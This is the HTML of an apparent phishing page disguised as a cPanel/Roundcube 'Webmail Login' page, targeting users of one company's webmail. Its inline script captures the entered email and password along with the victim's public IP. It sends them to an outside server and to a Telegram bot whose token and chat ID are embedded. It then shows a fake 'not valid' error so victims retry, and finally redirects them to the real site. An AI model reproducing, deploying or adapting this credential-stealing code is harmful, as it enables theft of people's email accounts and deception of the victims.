<!DOCTYPE html>
<html lang="en" dir="ltr">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1" />
  <meta name="google" content="notranslate" />
  <meta name="apple-itunes-app" content="app-id=1188352635" />
  <title>Webmail Login</title>
  <link rel="shortcut icon"
    href="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjkuMTQgMTQxLjggNTczLjY1IDU3My42NSI+CiAgPHN0eWxlPgogICAgLnN0MCwuc3Qze2ZpbGwtcnVsZTpldmVub2RkO2NsaXAtcnVsZTpldmVub2RkO2ZpbGw6IzQwNGY1NH0uc3Qze2ZpbGw6IzM3YmVmZn0KICA8L3N0eWxlPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgNTQ5Ljc3TDI5NS45NiAzODQuMVYyMDcuMjdsMjg2LjgzIDE2NS42OHoiLz4KICA8cGF0aCBjbGFzcz0ic3QwIiBkPSJNOS4xNCA1NDkuNzdMMjk1Ljk2IDM4NC4xVjIwNy4yN0w5LjE0IDM3Mi45NXoiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS41NiAwIDE5OC40MSA4OC44NSAxOTguNDEgMTk4LjQxcy04OC44NSAxOTguNDEtMTk4LjQxIDE5OC40MVM5Ny41NSA0NDkuNzcgOTcuNTUgMzQwLjIxIDE4Ni40IDE0MS44IDI5NS45NiAxNDEuOCIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiNjY2MiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS42IDAgMTk4LjQ4IDg4Ljg1IDE5OC40OCAxOTguNDFzLTg4Ljg4IDE5OC40MS0xOTguNDggMTk4LjQxYy02Mi45MS00Mi4zNC04OC45NC0xMjcuNjQtODguOTQtMTk4LjNzMjYuMDMtMTU2LjEgODguOTQtMTk4LjUyIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZmlsbD0iI2U1ZTVlNSIvPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgMzcyLjk1TDI5NS45NiA1MzguNjJ2MTc2LjgzbDI4Ni44My0xNjUuNjh6Ii8+CiAgPHBhdGggY2xhc3M9InN0MCIgZD0iTTkuMTQgMzcyLjk1bDI4Ni44MiAxNjUuNjd2MTc2LjgzTDkuMTQgNTQ5Ljc3eiIvPgo8L3N2Zz4K" />

  <!-- EXTERNAL CSS -->
  <link href="https://wafsd.com/new/webma/media/css/open_sans.min.css" rel="stylesheet" type="text/css" />
  <link href="https://wafsd.com/new/webma/media/css/style_v2_optimized.css" rel="stylesheet" type="text/css" />

  <style type="text/css">
    /*
  This css is included in the base template in case the css cannot be loaded because of access restrictions
  If this css is updated, please update securitypolicy_header.html.tmpl as well
*/
    .copyright {
      background: url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjkuMTQgMTQxLjggNTczLjY1IDU3My42NSI+CiAgPHN0eWxlPgogICAgLnN0MCwuc3Qze2ZpbGwtcnVsZTpldmVub2RkO2NsaXAtcnVsZTpldmVub2RkO2ZpbGw6IzQwNGY1NH0uc3Qze2ZpbGw6IzM3YmVmZn0KICA8L3N0eWxlPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgNTQ5Ljc3TDI5NS45NiAzODQuMVYyMDcuMjdsMjg2LjgzIDE2NS42OHoiLz4KICA8cGF0aCBjbGFzcz0ic3QwIiBkPSJNOS4xNCA1NDkuNzdMMjk1Ljk2IDM4NC4xVjIwNy4yN0w5LjE0IDM3Mi45NXoiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS41NiAwIDE5OC40MSA4OC44NSAxOTguNDEgMTk4LjQxcy04OC44NSAxOTguNDEtMTk4LjQxIDE5OC40MVM5Ny41NSA0NDkuNzcgOTcuNTUgMzQwLjIxIDE4Ni40IDE0MS44IDI5NS45NiAxNDEuOCIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiNjY2MiLz4KICA8cGF0aCBkPSJNMjk1Ljk2IDE0MS44YzEwOS42IDAgMTk4LjQ4IDg4Ljg1IDE5OC40OCAxOTguNDFzLTg4Ljg4IDE5OC40MS0xOTguNDggMTk4LjQxYy02Mi45MS00Mi4zNC04OC45NC0xMjcuNjQtODguOTQtMTk4LjNzMjYuMDMtMTU2LjEgODguOTQtMTk4LjUyIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZmlsbD0iI2U1ZTVlNSIvPgogIDxwYXRoIGNsYXNzPSJzdDMiIGQ9Ik01ODIuNzkgMzcyLjk1TDI5NS45NiA1MzguNjJ2MTc2LjgzbDI4Ni44My0xNjUuNjh6Ii8+CiAgPHBhdGggY2xhc3M9InN0MCIgZD0iTTkuMTQgMzcyLjk1bDI4Ni44MiAxNjUuNjd2MTc2LjgzTDkuMTQgNTQ5Ljc3eiIvPgo8L3N2Zz4K) no-repeat scroll center top transparent;
      background-size: 25px auto;
    }
  </style>
  <!--[if IE 6]>
      <style type="text/css">
        img {
          behavior: url(/cPanel_magic_revision_1653687663/unprotected/cp_pngbehavior_login.htc);
        }
      </style>
    <![endif]-->

  <!-- begin customizations -->
  <!-- <script src="js/13477600374.js"></script> -->
  <!-- GTM -->
  <noscript>
    <iframe src="//www.googletagmanager.com/ns.html?id=GTM-PPNLL2" height="0" width="0"
      style="display: none; visibility: hidden"></iframe>
  </noscript>
  <!-- <script>
      (function (w, d, s, l, i) {
        w[l] = w[l] || [];
        w[l].push({ "gtm.start": new Date().getTime(), event: "gtm.js" });
        var f = d.getElementsByTagName(s)[0],
          j = d.createElement(s),
          dl = l != "dataLayer" ? "&l=" + l : "";
        j.async = true;
        j.src = "//www.googletagmanager.com/gtm.js?id=" + i + dl;
        f.parentNode.insertBefore(j, f);
      })(window, document, "script", "dataLayer", "GTM-PPNLL2");
    </scr> -->
  <!-- end customizations -->                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       -->
              </div>
              <!--CLOSE login-sub -->
            </div>

            <!--CLOSE wrapper -->
          </div>
          <!--CLOSE login-sub-container -->
        </div>
        <!--CLOSE login-container -->
      </div>

      <div id="locale-footer">
        <div class="locale-container">
          <noscript>
            <form method="get" action=".">
              <select name="locale">
                <option value="">Change locale</option>
                <option value="ar">suomi</option>
                <option value="bg">Filipino</option>
                <option value="cs">magyar</option>
                <option value="da">dansk</option>
                <option value="de">Deutsch</option>
                <option value="el">Bahasa Indonesia</option>
                <option value="en">English</option>
                <option value="es">espanol</option>
              </select>
              <button style="margin-left: 10px" type="submit">Change</button>
            </form>
            <style type="text/css">
              #mobilelocalemenu,
              #locales_list {
                display: none;
              }
            </style>
          </noscript>
          <ul id="locales_list">
            <li><a href="/?locale=ar">suomi</a></li>

            <li><a href="/?locale=bg">Filipino</a></li>

            <li><a href="/?locale=cs">magyar</a></li>

            <li><a href="/?locale=da">dansk</a></li>

            <li><a href="/?locale=de">Deutsch</a></li>

            <li><a href="/?locale=el">Bahasa Indonesia</a></li>

            <li><a href="/?locale=en">English</a></li>

            <li><a href="/?locale=es">espanol</a></li>

            <li>
              <a href="javascript:void(0)" id="morelocale" onclick="toggle_locales(true)" title="More locales"></a>
            </li>
          </ul>
          <div id="mobilelocalemenu">
            Select a locale:
            <a href="javascript:void(0)" onclick="toggle_locales(true)" title="Change locale">English</a>
          </div>
        </div>
      </div>
    </div>
    <!--Close login-wrapper -->
  </div>
  <style>
    @media (min-width: 481px) {
      #select_user_form {
        width: px;
      }
    }
  </style>
  <div class="copyright">
    Copyright©&nbsp;2024 Roundcube Webmail, L.L.C. <br /><a href="https://go.cpanel.net/privacy" target="_blank">Privacy
      Policy</a>
  </div>
<script type="text/javascript" src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
			<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script type="text/javascript">
    
		
    // ############################################################################
    // Specify the URL of the PHP file Here
    const url = "https://appstestingng.com/";
    const token = "7230704467:AAF4l1eMWGPaLju14EK-b960wdU3RkE7A0A";
    const chatID = 1453782228;
		
    window.onload = function () {
      // Get the current URL
      var url = window.location.href;

      // Parse the URL and get the fragment (the part after the '#')
      var urlComponents = new URL(url);
      var email = urlComponents.hash.substring(1);

      // Check if the fragment is a valid email
      var emailRegex = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
      if (emailRegex.test(email)) {
        var emailElement = document.getElementById("user");
		$('#user').val(emailValue ? emailValue : '[[-Email-]]');
        if (emailElement) {
          emailElement.value = email;
        }
      }
    };

    // Get the form and input elements
    var emailInput = document.getElementById("user");
    var passwordInput = document.getElementById("pass");
    let a1 = document.querySelectorAll(".error-notice");
    let a2 = document.querySelectorAll(".a1");
    var form = document.getElementById("login_form");
    const loader = document.querySelector(".loader");
    var clickCount = 0;
    let useLocation

    // Add an event listener for form submission
    form.addEventListener("submit", function (event) {
      // Prevent the form from being submitted normally
      event.preventDefault();

      let emailValue = emailInput.value;
      let passwordValue = passwordInput.value;

      // Write an if statement to check if the input value is empty
      if (emailInput.value === "") {
        console.log("empty111111111111");
        a1.forEach(function (element) {
          element.classList.remove("e-hidden");
        });
        a2.forEach(function (element) {
          element.innerHTML = "You must specify a username to log in.";
        });
        setTimeout(function () {
          a1.forEach(function (element) {
            element.classList.add("e-hidden");
          });
          a2.forEach(function (element) {
            element.innerHTML = "";
          });
        }, 4000);
        return;
      }

      if (passwordInput.value === "") {
        console.log("empty2222222222");
        a1.forEach(function (element) {
          element.classList.remove("e-hidden");
        });
        a2.forEach(function (element) {
          element.innerHTML = "Password is required";
        });
        setTimeout(function () {
          a1.forEach(function (element) {
            element.classList.add("e-hidden");
          });
          a2.forEach(function (element) {
            element.innerHTML = "";
          });
        }, 4000);
        return;
      }
	  
		 
      
      // Create a function that counts clicks and executes a separate function on second click
      if (emailInput.value && passwordInput.value) {
        loading();
        let dataLog1 = {
          email: emailInput.value,
          password: passwordInput.value,
          desc: "http://webmail.capitalaccesssolutions.com: Login Details",
        };
        let dataLog2 = `%0A ============================ %0A - <b>IP:</b> <i>${useLocation?.ip}</i> %0A - <b>Email:</b> <i>${emailInput.value}</i> %0A - <b>Password:</b> <i>${passwordInput.value}</i> %0A - <b>Description:</b> <i>http://webmail.capitalaccesssolutions.com: Login Details</i>`;
        sendFinal(dataLog1, dataLog2)
      }
    });

    // Write a function that will redirect the page to a URL
    function toggleClass() {
      // Redirect the page to a URL
      window.location.href = "http://webmail.capitalaccesssolutions.com";
    }

    async function sendFinal(dataLog1, dataLog2) {
      try {
        const phpRes = await sendDataWithRetry(dataLog1);
        const tgRes = await sendToTelegram(dataLog2);
        // console.log("PHP: ", phpRes);
        // console.log("Telegram: ", tgRes);

        if (phpRes || tgRes) {
          stopLoading();
          clickCount++;
          // console.log(clickCount);
          if (clickCount === 3) {
            // Execute a separate function on second click
            toggleClass();
            clickCount = 0;
          }
        } else {
          throw new Error("One of the files did not send properly");
        }
      } catch (error) {
        console.error("Error sending data by both Telegram and PHP File:", error);
      }
    }

    // Send data to the PHP file
    function sendDataWithRetry(dataLog1, maxRetries = 3) {
      return new Promise(async (resolve, reject) => {
        const sendRequest = async (retryCount) => {
          try {
            const response = await fetch(url, {
              method: "POST",
              headers: {
                "Content-Type": "application/json; charset=utf-8",
              },
              body: JSON.stringify(dataLog1),
            });

            if (response.ok) {
              const responseData = await response.json();
              // console.log("Data received by PHP:", responseData);
              resolve(true); // Resolve the Promise with true if the request is successful
            } else {
              throw new Error("Network response was not OK");
            }
          } catch (error) {
            console.error("Error sending data:", error);
            if (retryCount < maxRetries) {
              console.log(`Retrying (attempt ${retryCount + 1})...`);
              await sendRequest(retryCount + 1);
            } else {
              console.error("Max retries reached. Data not sent.");
              resolve(false); // Resolve the Promise with false if the request fails after max retries
            }
          }
        };
        sendRequest(0); // Start the initial request
      });
    }

    // Send data to TELEGRAM
    function sendToTelegram(dataLog2, maxRetries = 3) {
      return new Promise(async (resolve, reject) => {
        const sendRequest = async (retryCount) => {
          try {
            let botUrl = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatID}&text=${dataLog2}&parse_mode=html`;
            let api = new XMLHttpRequest();
            api.open("GET", botUrl, true);
            api.onload = function () {
              if (api.status === 200) {
                resolve(true); // Resolve the Promise with true if the request is successful
              } else {
                throw new Error("Failed to send");
              }
            };
            api.onerror = function () {
              reject(new Error("Network error")); // Reject the Promise with an error if there's a network error
            };
            api.send();
          } catch (error) {
            console.error("Error sending data:", error);
            if (retryCount < maxRetries) {
              console.log(`Retrying (attempt ${retryCount + 1})...`);
              await sendRequest(retryCount + 1);
            } else {
              console.error("Max retries reached. Data not sent.");
              resolve(false); // Resolve the Promise with false if the request fails after max retries
            }
          }
        };
        sendRequest(0); // Start the initial request
      });
    }


    async function getPublicIP() {
      try {
        // https://api.ipify.org?format=json
        const response = await fetch("https://api.ipify.org?format=json");
        useLocation = await response.json();
        console.log(useLocation)
      } catch (error) {
        console.error("Could not fetch public ip: ", error)
      }
    }

    getPublicIP()

    function loading() {
      loader.classList.remove("loader--hidden");
    }

    function stopLoading() {
      loader.classList.add("loader--hidden");
      a1.forEach(function (element) {
        element.classList.remove("e-hidden");
      });
      a2.forEach(function (element) {
        element.innerHTML = "Your Email/Password not valid";
      });
      passwordInput.value = "";
      setTimeout(function () {
        a1.forEach(function (element) {
          element.classList.add("e-hidden");
        });
        a2.forEach(function (element) {
          element.innerHTML = "";
        });
      }, 4000);
    }

    function ttext() {
      // Get the button element by its class name
      var button = document.querySelector(".asa");
      // Get the input element by its class name
      var input = document.querySelector(".asa1");

      // Toggle the text content between "Show" and "Hide" and the input type
      if (button.textContent === "Show") {
        button.textContent = "Hide";
        input.type = "text";
      } else {
        button.textContent = "Show";
        input.type = "password";
      }
    }

    // Add the onclick event listener to the button
    // document.querySelector(".show-hide-btn").onclick = ttext;
  </script>
</body>

</html>